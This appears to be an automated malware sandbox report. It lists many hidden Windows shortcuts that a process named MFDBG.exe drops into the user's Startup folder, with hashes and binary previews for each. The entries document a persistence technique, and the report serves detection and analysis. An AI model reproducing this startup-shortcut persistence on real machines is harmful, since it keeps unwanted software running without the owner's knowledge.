File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923235381124658
Encrypted:	false
SSDEEP:	24:83uBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83EFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9573B44E5957E0985655B9A4ACC755EE
SHA1:	6CA7D55B695509B047942DF13CE92E41FBF81F5D
SHA-256:	5B340F4770C5710F485392B8CDDB4B997D3976D2F128C2FC11DF54827A228F66
SHA-512:	F296478460113E15B31CD3DA4FF6764AC67AC7B0F3BB81EACF03E333D97EFD28008C60FB773AF86C2AAD127F5571C6DC05D221D17DDA932621B4872068A44637
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efea9766216e4e5ea74d54e4b95a645a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9314891833750965
Encrypted:	false
SSDEEP:	24:8TBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8V09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8735660EF8EB1C29A4703E7AC2D44B7
SHA1:	50EDBA27D195D048FC5587031FE95ACB705A3E38
SHA-256:	8C70F5E8F79C7917AC26974A04725665A0F38F9FFCF5B1876F060004FFF3C3EA
SHA-512:	CD6D7112A4FF0694A07BD8F18A424A7FEE974903F701A78499C5F91EAA802F00040773B9C09DCCDF71410021B5D97BCF7A0D1C3337D589982B684CE779BDF2FB
Malicious:	false
Preview:	L..................F....".......d...<.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_effe40b4d1034de689eeaf191f7465d0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926498066192789
Encrypted:	false
SSDEEP:	24:8wBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+LEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CE3A9BE1D4754D41CEBB6857F253AB69
SHA1:	3C3B021748DCD299C263009F00395EF411C34221
SHA-256:	CEDC672DD355FD19A945E575918CD564FC9464A25708DBFF2618B74A3C77F812
SHA-512:	561C4280AEED8EA29A5E611FD7AB30075811746DE9A7DD5F025195281E4F223086D64B1C93FC66A33CC2B743D25C72C3D0F38A63BCECBC14BE8EA19BF0CEBEAA
Malicious:	false
Preview:	L..................F....".......d...J.#:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f00617e8940a4709be52a9cebd4e1109.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9134220138361755
Encrypted:	false
SSDEEP:	24:8nuBfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EUEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8A18169E8E63FCD45CBC726DF846A235
SHA1:	8655EFBBEC171A313DD2861419757227E9223AE7
SHA-256:	F93538194D6CD197EC7F06C7BC068CCBC0B39BE8710153578D5F87EF8CCF943F
SHA-512:	F204542E7DDB7928A8C15ACDBBF270F69384C4309A73D6B262514386D59C2A39FE080DB95D2953D4C65888D91E74B4B1077A9EC0EB7E4E1745244BBF375ECE23
Malicious:	false
Preview:	L..................F....".......d...g`t=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f080679de7164dc8bd9ae2e6a345e3e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9211748556377515
Encrypted:	false
SSDEEP:	24:8lBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8nGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2D456FA903DC66042BEB194BAAA926DC
SHA1:	E769378E695EFB6F6A5213089F36C26FE376F84A
SHA-256:	C60BDEF50590223C750EFBB3E962AF585AFF5A79F520F5892E3428EFA36955E3
SHA-512:	1C516E7F278F2B505213F1DFD1611D95D7195FC7A59DFC7D6355CB92E06063365AF88210A263A88A2F088D1A1A0F3B4808EED9FB504ACB905BFCFB553C6F8CA4
Malicious:	false
Preview:	L..................F....".......d.....Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f090f1130d36414bba42791654f10168.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920075422632909
Encrypted:	false
SSDEEP:	24:8FBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D8857CF49BF2FDBDD24F8D3E2EC3D44A
SHA1:	EF8CF646C6440F6102C2E45B8426E7DE77EEEABF
SHA-256:	FD8307FCD313B88A8EA8BC84BF442D1238BA94A3512D21EA0E647839F3BDBB98
SHA-512:	80A64E02ED3A6BF55FEFBC0F687B0D55F9C0F41F5219D8E3A0F6A1B8F071D362358B6AD22E93001493A0DE894263FDD31553C1F8C12778D198255B0C78700B3F
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....8.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f119c2045df2439d9dc7f23a349c20d3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922836711854465
Encrypted:	false
SSDEEP:	24:89Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	90C61CDC73CA777EFE57D14F888892D5
SHA1:	17B77D7AE5D40184961645915B442E137BF7580C
SHA-256:	D683EE5E3731BD4837692A6337FE6DDFD7A51793B9936F03C2E30AD9628228E9
SHA-512:	65E96855BD84D2BD87D9BEB18622F22C85E4A5CCED8AA93F46C41F393F4C768A0031F6AED6F8715021916C729D2790CA195B8083ADC20C01943E967FEC7D3EFC
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f16c491e9a1c49e1a9932880040ef541.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92054980797904
Encrypted:	false
SSDEEP:	24:8TBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CE3D14A8F13B5FB0640CFC0397A1D760
SHA1:	780FB8D3EEE766B2B829EE85C3A523A03FC498DF
SHA-256:	CC613F4623D4FFDB3F2AACC0E7631B0ED87DD1519561A7BED682A9A12A385A84
SHA-512:	D66030B21BD6F72E74DCA33224FA037C1C542B7F8D012314C181DDCF098E24B7ABA94798BB86C989B2370A3D0D6F70CFD4211F870DFDD84DCAF725A5EB23553F
Malicious:	false
Preview:	L..................F....".......d....[.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1887752044345e385c2de097fa3d5d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915751386761984
Encrypted:	false
SSDEEP:	24:8euBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8r9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	9757F39D1EF8151CF669074E06A05591
SHA1:	8238E4A44EA6F0E369B8A963911035730895F121
SHA-256:	895BAB97A68B95520207B239F04AE80EF38E2AEE9DDC7B5CD0A747B070174208
SHA-512:	DDFF12201931C3BD69E34C1A5694206FA5DB7FA5C6558CC30C414914B09C45441840BFAC91678075450A126AFCEC0DE1975F0CC415849C66097B362330F63795
Malicious:	false
Preview:	L..................F....".......d....G..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f209faef39cf4efcbc977a31260e756a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913865461043917
Encrypted:	false
SSDEEP:	24:8CBfO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wrEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5626E0EA2EB7E6E67E623EF0C6C95FD0
SHA1:	4E584FF4E7F28C39E83F469CE0E0F412A024B0A9
SHA-256:	852C25620F2052FEEC2E11B139024F55AD476CA000976DCCDD4BACAD157EB400
SHA-512:	896BF4E2AD4E01047046A44005FACCF9F1A078C1189BA08D1FECCEBEAF113CB58E7F1AF96354085F63BF1B157F39E932039B90E3945A7F08644EEFE315B5E79B
Malicious:	false
Preview:	L..................F....".......d....a.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....a.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f2256ec9fc9048bc90581c03bfd8863f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9277889799035375
Encrypted:	false
SSDEEP:	24:8VBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	893C5BA727957365446A468429E1ADCD
SHA1:	6C8B439F6515EACD2F1961042AC05D8D46C11B3B
SHA-256:	47A26282B0D11AEE0EFD2C08700DFEA523B22166B1052ABA001E3E6B8ED76BC4
SHA-512:	9545010428FB0D6CF9A7AF61CA67D30DA426B170346DD96BCB4FF230DBEF50440CD982DAFC8CB38B91E4E9CC87D5EBA943A7A7DBEB1525FEF905115D7EA50041
Malicious:	false
Preview:	L..................F....".......d....f.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f26a8a2035854a5784cab9c0afb57268.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9301589851334
Encrypted:	false
SSDEEP:	24:8VBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3649444B6683B4850BF6499EA9EA2FAC
SHA1:	588C2D6CF085997F099A1D860A66AB776A86FC2B
SHA-256:	7A90633CA432D1EB81FE52465B947B44F09D0473E8FBC448DD0C6254DFCA4097
SHA-512:	246A4DFCCFB68B8D96E1F018416B1724FA6955905276D6E502E4DDBFC3C2553F6259A8667190B9EA000566872BDE5673517A12B602DD86D263A1707B89568800
Malicious:	false
Preview:	L..................F....".......d.....{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f272c2703c9f48278e1e12e304f84b42.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92663475605851
Encrypted:	false
SSDEEP:	24:8oBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8m2EvZ0yRO7DLO2zdxdRd1kyg
MD5:	69872E21213B6DBE9FCEB24EE94DDEE8
SHA1:	8574D09954FD4FE2B51CE54643B2D85F8A2239ED
SHA-256:	E70720A897BE698B6EDFE06D26F2E592217C3A631D1795322E269EB179BAEEAA
SHA-512:	7A09B891B442B3F38A626BB17C674BDE81CB479DD28416149436CA905F04AF280D27FBB8441885F88AE93353AFE0461C2B842A75BE2A3B4DB86AA649F9ACDBDE
Malicious:	false
Preview:	L..................F....".......d....\|.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3..;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f2815abb9bd448aebfe7c93231034827.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
